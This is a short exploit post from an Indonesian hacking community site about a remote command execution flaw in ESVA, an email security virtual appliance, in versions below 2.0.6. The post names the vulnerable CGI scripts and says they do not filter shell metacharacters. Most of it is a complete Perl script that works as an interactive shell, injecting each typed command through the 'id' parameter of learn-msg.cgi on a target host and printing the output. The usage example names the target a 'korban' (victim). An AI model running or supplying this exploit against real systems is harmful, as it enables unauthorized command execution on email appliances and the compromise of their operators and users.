BINUS HACKER Indonesian Hacking Community
# Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution.
# Date: 10 Aug 2012
# Exploit Author: iJoo
# Vendor Homepage: http://www.esvacommunity.com/
# Software Link: http://sourceforge.net/projects/esva-project/
# Version: < 2.0.6
ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server.
-=+ Infected Files
…./cgi-bin/learn-msg.cgi
…./cgi-bin/release-msg.cgi
Not found any strips/filter to metacharacters..
Attacker can easily execute command..
-=+ Simple RCE ESVA
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#! /usr/bin/perl use LWP; use HTTP::Request; if (@ARGV < 1) { print "\n==========================================\n"; print " ESVA - REMOTE EXECUTION SCRIPT \n"; print "==========================================\n"; print "Usage: perl esva.pl host (without http://)\n"; print "Ex. perl esva.pl www.korban.com\n"; exit; } $host=$ARGV[0]; print "Try to Execution Command!\n"; print "iDSc-shell# "; chomp( $cmd = <STDIN>); while($cmd !~ "exit") { $content = ""; $ua = LWP::UserAgent->new(); $ua->agent(''); $request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b"); $response = $ua->request ($request); $content = $response->content; print $content."\n"; print "iDSc-shell# "; chomp( $cmd = <STDIN>); } |
-=+ Thanks to
My lovely Country NKRI INDONESIA!!
Binh4x staff – www.binushacker.net // Forum.binushacker.net
